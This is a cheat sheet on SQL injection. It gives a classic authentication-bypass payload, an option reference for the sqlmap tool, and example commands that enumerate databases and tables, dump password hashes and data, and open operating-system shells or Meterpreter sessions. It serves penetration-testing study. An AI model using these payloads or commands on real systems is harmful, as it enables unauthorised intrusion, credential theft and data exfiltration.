SQL Injection

execute("SELECT * FROM users WHERE 
         username = 'admin' AND 
         password = '' OR 1=1 --'")

SQL Map

Basic commands:

Options	Description
-u URL, --url=URL	Target URL (e.g. "http://www.site.com/vuln.php?id=1")
--data=DATA	Data string to be sent through POST (e.g. "id=1")
--random-agent	Use randomly selected HTTP User-Agent header value
-p TESTPARAMETER	Testable parameter(s)
--level=LEVEL	Level of tests to perform (1-5, default 1)
--risk=RISK	Risk of tests to perform (1-3, default 1)

Enumeration commands:

These options can be used to enumerate the back-end database management system information, structure, and data contained in tables.

Options	Description
-a, --all	Retrieve everything
-b, --banner	Retrieve DBMS banner
--current-user	Retrieve DBMS current user
--current-db	Retrieve DBMS current database
--passwords	Enumerate DBMS users password hashes
--dbs	Enumerate DBMS databases
--tables	Enumerate DBMS database tables
--columns	Enumerate DBMS database table columns
--schema	Enumerate DBMS schema
--dump	Dump DBMS database table entries
--dump-all	Dump all DBMS databases tables entries
--is-dba	Detect if the DBMS current user is DBA
-D <DB NAME>	DBMS database to enumerate
-T <TABLE NAME>	DBMS database table(s) to enumerate
-C COL	DBMS database table column(s) to enumerate

Operating System access commands

These options can be used to access the back-end database management system on the target operating system.

Options	Description
--os-shell	Prompt for an interactive operating system shell
--os-pwn	Prompt for an OOB shell, Meterpreter or VNC
--os-cmd=OSCMD	Execute an operating system command
--priv-esc	Database process user privilege escalation
--os-smbrelay	One-click prompt for an OOB shell, Meterpreter or VNC

Examples

sqlmap -u https://testsite.com/page.php?id=7 --dbs    \\Simple http
sqlmap -r req.txt -p blood_group --dbs
sqlmap -r <request_file> -p <vulnerable_parameter> --dbs

Using GET based Method

sqlmap -u https://testsite.com/page.php?id=7 -D blood --tables
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --tables

Using POST based Method

sqlmap -r req.txt -p blood_group -D blood --tables
sqlmap -r req.txt -p <vulnerable_parameter> -D <database_name> --tables